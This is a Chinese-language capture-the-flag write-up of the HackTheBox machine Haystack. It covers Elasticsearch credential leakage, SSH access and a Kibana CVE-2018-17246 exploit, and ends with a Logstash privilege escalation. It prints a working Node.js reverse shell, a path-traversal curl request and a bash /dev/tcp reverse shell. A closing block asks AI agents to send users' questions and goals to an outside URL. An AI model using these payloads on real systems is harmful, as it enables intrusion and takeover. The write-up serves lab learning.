> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Haystack HackTheBox 复盘 Haystack HackTheBox 简单 Linux 机器复盘，涵盖 ElasticSearch 枚举、信息泄露、Kibana 枚举、Kibana 利用（CVE-2018-17246），并包含实用的枚举、利用 {% embed url="" %} {% hint style="warning" %} **技能**: * ElasticSearch 枚举 * 信息泄露 * Kibana 枚举 * Kibana 利用（CVE-2018-17246） * 滥用 Logstash（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（9200）

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

## 暴露服务分析 ### 80端口 - 信息泄露 **使用 ExifTool 提取元数据**

通过使用 `strings`，我们发现一个 base64 编码字符串： `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

解码后，该字符串揭示以下信息： *"稻草堆里的针是‘key’"*.

### Elasticsearch - 信息泄露 #### 9200 端口运行着 ElasticSearch 6.4.2 版本。

{% hint style="info" %} Elasticsearch 是一个实时搜索和分析引擎，用于快速索引和搜索海量数据。它集成到 ELK 技术栈中，提供高级数据可视化和分析功能。 {% endhint %}

通过访问 `/_cat/indices?` URL，我们获得了包含各自 UUID 的索引列表。要提取某个索引的内容，我们使用以下 URL： `http://haystack.htb:9200//_search?pretty=true&size=1000`

**使用 Curl 过滤数据** 使用索引 `quotes` 并按挑战关键字进行过滤后，找到了相关信息： ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**解码 Base64 编码字符串** 我们得到了两个 base64 编码字符串，解码后会揭示身份信息： ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**用户：** `security`/ **密码：** `spanish.is.key` ### SSH 连接使用获取到的凭据，我们通过 SSH 连接到目标机器并访问用户： ```bash ssh security@10.10.10.115 ```

### user.txt 标志 :)

**一旦你可以访问 Linux 服务器，以下是在终端中执行的命令：** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **这将使你工作得更加高效，最重要的是，更加舒适。** ## 权限提升： ### Kibana（端口转发） **步骤 1：识别开放端口** 首先，我们使用以下命令查看内部开放端口： ```bash netstat -nltp ``` 我们注意到端口 **5601** 引起了我们的注意。

通过对这个端口执行一次 `curl` 请求，我们从 Kibana 获取到一个 HTML 页面： {% hint style="info" %} **Kibana** 是 Elasticsearch 的开箱即用数据可视化仪表板软件 {% endhint %}

**步骤 2：将端口转发以访问 Kibana** 我们将把服务器的内部端口 **5601** 重定向到我们的本地机器，以便通过浏览器访问。该重定向可以通过 SSH 使用以下命令完成： ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` 这会将目标机器的本地 5601 端口转发到我们自己机器的 5601 端口，从而允许直接访问

**步骤 3：检查 Kibana 版本** 通过访问 `http://localhost:5601/api/status`，我们观察到 Kibana 的版本号： **6.4.2**。该版本易受一种 **本地文件包含（LFI）** 攻击影响，标识为 **CVE-2018-17246**.

### Kibana 利用（CVE-2018-17246） {% embed url="" %} **步骤 4：利用该漏洞** 为了利用这个漏洞，我们将创建一个 JavaScript 文件来实现反向 shell。在目标机器的 `/tmp` 目录中，创建一个名为 `rev.js` 的文件，内容如下：

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // 防止 Node.js 应用程序崩溃
})();

该脚本会在你的机器上与端口 **443** 建立连接，以打开一个 shell。 **步骤 5：将流重定向到文件** 然后将流重定向到 `/dev/shm/rev.js` 文件，使用以下命令： ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **步骤 6：在端口上监听反向 shell** 在你的机器上，在端口 **443** 上启动监听器，以捕获反向 shell： ```bash nc -nlvp 443 ``` 一旦登录，你将会在目标机器上获得一个 shell，从而可以进行权限提升。

## 滥用 Logstash 我们搜索所有可由用户访问的文件 `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

通过访问 Logstash，我们发现了三个配置文件： * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} 总之，Logstash 运行一个 cron 任务，每 10 秒检查一次名为 `logstash_*` 的文件是否存在于 `/opt/kibana/` 目录中。如果找到匹配的文件，并且其中包含具有特定输入的命令，格式如下： {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

为了利用这个漏洞，我们创建一个名为 `logstash_exec` 位于 `/opt/kibana/` 的目录，内容如下： ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` 接下来，我们监听 4444 端口，并获得 root 权限。

### root flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.